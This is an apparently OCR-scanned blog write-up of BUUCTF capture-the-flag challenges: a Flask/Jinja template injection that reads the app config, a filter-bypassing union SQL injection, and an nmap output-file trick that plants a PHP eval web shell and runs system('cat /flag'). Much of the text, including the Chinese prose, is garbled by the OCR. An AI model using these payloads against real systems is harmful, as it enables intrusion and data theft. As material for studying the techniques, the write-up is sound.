BUUCTF(6)

YsterCcc T 2022-03-02 21:08:51 KA 1503 g1

7y BUUCTE S Fr%: BUUCTE

R ] SO E R ISR, 5. CC 4.0 BY-SA AN, e i iy b i SCH AL B AN AR 1
ASCHERE: https://blog.csdn.net/weixin_54648419/article/details/123233902

FERAL

® BUUCTF EAIE A%
5k SCE 01T

R
[WesternCTF2018]shrine 1

import flask
import os

app = flask.Flask(__name_ )

app.config| 'FLAG'] = os.environ.pop('FLAG")

@app.route('/")

def index():
return open(__file_ ).read()

@app.route('/shrine/<path:shrine>")
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', "").replace(')"', '")
blacklist = ['config', 'self']
return "'.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))

if _name__ == ' main__ ":

app.run(debug=True)
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#1254 /shrine/{{url_for.__globals_ }}

{'find_package” <function find package at 0x7f3365f54140>, ' find package path" <function find package path at 0x7f3365f540c8>, 'get load dotenv": <func
0x7f3366076a28>, ' PackageBoundObject': <class 'flask.helpers.fPackageBoundObject‘> <Flask 'app'>, 'PY2" True, 'send from directory": <functi
0x7f3366076ed8>, 'session: <NullSession {}>, 'io": <module 'io' from 'fusr/local/lib/pythonZ.7/io.pyc™>, 'get flashed messages” <function get flashed message
<class 'werkzeug.exceptions.BadRequest'>, 'is ip": <function is_ip at 0x7f3365f547d0>, 'pkgutil: <module 'pkgutil' from 'fusr/local/lib/python2.7/pkgutil.pyc'>,
'werkzeug.routing.BuildError'>, 'url quote": <function url quote at 0x7f33662b3aa0>, 'FileSystemLoader": <class 'jinja2.loaders.FileSystemLoader'>, 'get root pa
0x7f3366076f50>, ' package " 'flask’, 'locked cached property': <class 'flask.helpers.locked cached property'>, ' app ctx stack’: <werkzeug.local.LocalStack ¢
' endpoint from view func': <function endboint from view func at 0x7f3366076aa0>. "total seconds’: <function total seconds at 0x7f3365f541b8>. 'fspath™ <
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fo~current_app, AL EE 4T [config
/shrine/{{url_for.__globals__ ['current_app'].config}}

IVIAA_CUURIE SIZE D 4UY93, SES3IUN_ CUUKIE SAIVIESIIE D INONE, FRUFAGAIE EALEF IIUINS I INONE, EINV I Proguction, UEBUG: FaISe, SELKE] KEY
'MAX_CONTENT LENGTH'": None, 'APPLICATION ROOQOT" '/', 'SERVER_ NAME'": None, 'FLAG": 'flag{70d03dbd-a0b3-4e27-bb0a-ccd76b06a211}’, 'PREFEI
'JSONIFY_PRETTYPRINT REGULAR" False, 'TESTING" False, 'PERMANENT SESSION_LIFETIME'": datetime.timedelta(31), TEMPLATES AUTO RELOAD" N
'JSON_SORT KEYS": True, 'JSONIFY MIMETYPE": 'application/json’, 'SESSION_COOKIE HTTPONLY": True, 'SEND _FILE MAX AGE DEFAULT" datetime.tin
'PRESERVE CONTEXT ON EXCEPTION': None, 'SESSION REFRESH EACH REQUEST" True, "TRAP HTTP EXCEPTIONS" False}>
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'MAX_COOKIE_SIZE': 4093, 'SESSION_COOKIE_SAMESI IE': None, 'PROPAGAIE_EXCEP ITONS': Nohe, 'ENV': ‘production’, ‘DEBUG': False, 'SECREI KL
'MAX CONTENT LENGTH" None, 'APPLICATION ROOT": '/', 'SERVER NAME'": None, 'FLAG": 'flag{70d03dbd-a0b3-4e27-bb0a-ccd76b06a211}, 'PRE
'JSONIFY_PRETTYPRINT REGULAR": False, "'TESTING": False, 'PERMANENT SESSION_LIFETIME": datetime.timedelta(31), TEMPLATES AUTO RELOALC
'JSON_SORT KEYS": True, 'JSONIFY MIMETYPE": 'application/json’, 'SESSION_COOKIE HTTPONLY": True, 'SEND FILE MAX AGE DEFAULT": datetime
'PRESERVE_CONTEXT ON_EXCEPTION': None, 'SESSION_REFRESH EACH REQUEST": True, TRAP_HTTP_EXCEPTIONS" False}>
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flag{70d03dbd-a0b3-4e27-bb0a-ccd76b06a211}
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You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near "1" limit 0,1' at line 1
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-1'/**/group/**/by/**/22,"'2
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-1'union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, ' 22
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-1'/**/union/**/select/**/1, (select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns),3,
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, '22
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select * from testl;

rom testl;

o T N

usesrname | password |

select 1,2,3 union select * from testl;

W, IR T T AR, AT AGRSEAE PR A, 0 3 %R T3 BLITI ) password :


https://zhuanlan.zhihu.com/p/98206699

union select * from tesdl;
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4 rows in set (0.00 sec)

select “3° from (select 1,2,3 union select * from testl)a;
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select b from (select 1,2,3 as b union select * from testl)a;

mysql> select b from (select 1,2,3 as b unien select * fr

4 rows in set (0.00 sec) CSDN @YsterCceo
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-1'/**/union/**/select/**/1, (select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select
/** /% /%% [from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, ' 22
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</script-
{/body>
{!— flag is in /flag —>

{/html>

nmap 1) — L LR A7 4 E

-oN FRifEfRATE

-0X XML{fAF

-0G Grepf#ff

-oA fRAFEIFT A #%0
-append-output #hFEARAESC:

HESA—A)1E
' <?php @eval($_POST["qwer"]);?> -oG 1.php '

fkhacker, X B EiTUE 1 php, Hiphtml, —A)3E R0

' <?= @eval($_POST["qwer"]);?> -oG qwer.phtml '



BT HAT, BT DAEIIER:

# Nmap 6.47 scan initiated Wed Mar 2 13:01:42 2022 as: nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/44bf8 -0oG qwer.phtml \ flag{09214edc-3b39-4566-8fa5-c7e2bdfcef8d}
Wed Mar 2 13:01:42 2022 -- 0 IP addresses (0 hosts up) scanned in 0.85 seconds
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Postdata [ Referer [J User Agent [] Cookies Clear All

qwer=system("cat /flag");
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